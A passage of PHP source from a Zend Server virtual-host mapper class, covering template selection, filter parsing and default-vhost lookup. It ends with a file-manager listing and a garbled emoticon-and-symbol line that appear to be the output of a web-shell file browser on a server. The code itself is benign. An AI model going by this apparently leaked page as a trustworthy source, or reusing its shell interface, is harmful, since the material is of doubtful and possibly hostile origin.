        $title = \ZendServer\Configuration\Manager::isIIS() ? 'Website' : 'Vhost';
        $message = $title .' does not exist on the server';
        
        $vhostApps = $this->getDeploymentMapper()->getApplicationsByVhostIds(array($vhostId));
        if (!empty($vhostApps)) {
            $message .= ' and there are apps deployed on it.';
        }
        
        $vhostNode->setStatus(\Vhost\VhostNodeContainer::STATUS_ERROR)
            ->setId(0)
            ->setVhostId($vhostId)
            ->setNodeId($nodeId)
            ->setLastMessage($message);

        return $vhostNode;
    }

    /**
     * @return boolean
     */
    public function isVhostsManaged()
    {
        return $this->vhostsManaged;
    }

    /**
     * @param boolean $vhostsManaged
     */
    public function setVhostsManaged($vhostsManaged)
    {
        $this->vhostsManaged = $vhostsManaged;
    }

    /**
     * @return MapperDirectives
     */
    public function getDirectivesMapper()
    {
        return $this->directivesMapper;
    }

    /**
     * @param \Configuration\MapperDirectives $directivesMapper
     */
    public function setDirectivesMapper($directivesMapper)
    {
        $this->directivesMapper = $directivesMapper;
    }

    /**
     * @param string $suffix
     * @return string
     */
    private function getSchemaFileContent($suffix = '')
    {
        // get the webserverType
        $webserverType = $this->getDirectivesMapper()->selectSpecificDirectives(array('zend.webserver_type'))->current()->getValue();

        // get vhost schema file according to webserver type
        $schemaFile = '';

        switch ($webserverType) {
            case 'nginx':
                $schemaFile = "vhost-nginx{$suffix}.tpl";
                break;
            default: // apache
                $schemaFile = "vhost{$suffix}.tpl";
                break;
        }

        // read schema file content
        $installDir    = getCfgVar('zend.install_dir');
        $schemaPath    = FS::createPath($installDir, 'share', $schemaFile);
        $schemaFileObj = FS::getFileObject($schemaPath);
        return $schemaFileObj->readAll();
    }

    /**
     * @return array
     */
    public function getSortColumnsDictionary()
    {
        return array(
            'id',
            'name',
            'port',
            'last_updated',
            'owner'
        );
    }

    /**
     * @param array $filter
     * @param Where $where
     * @return Where
     */
    private function parseFilters(array $filter, Where $where = null)
    {
        if (is_null($where)) {
            $where = new Where();
        }

        if (isset($filter['ssl'])) {
            $where->equalTo('ZSD_VHOSTS.IS_SSL', $filter['ssl'][0], $where::TYPE_IDENTIFIER);
        }

        if (isset($filter['type'])) {
            $where->in('owner', $filter['type']);
        }

        if (isset($filter['deployment'])) {
            $where->in('owner', $filter['deployment'][0]);
        }

        if (isset($filter['port'])) {
            $where->in('port', $filter['port']);
        }

        if (isset($filter['owner'])) {
            $where->in('owner', $filter['owner']);
        }

        if (isset($filter['is_default'])) {
            $where->equalTo('is_default', $filter['is_default']);
        }

        if (isset($filter['freeText']) && $filter['freeText']) {
            $freeText  = $filter['freeText'];
            $predicate = new Predicate(null, Predicate::OP_OR);
            $predicate->like('name', "%$freeText%");
            $where->addPredicate($predicate);
        }

        return $where;
    }

    /**
     * Get default vhost
     * @return \Vhost\Entity\Vhost
     */
    public function getDefaultVhost()
    {
        $vhosts = $this->getVhosts(array(), array('is_default' => 1));

        return $vhosts->count() > 0 ? $vhosts->current() : false;
    }
}

Filemanager

Name Type Size Permission Actions
AbstractVhostAction.php File 6.88 KB 0644
AddVhost.php File 500 B 0644
Binding.php File 628 B 0644
EditVhost.php File 1.24 KB 0644
Exception.php File 201 B 0644
Tasks.php File 4.77 KB 0644
Vhost.php File 38.28 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1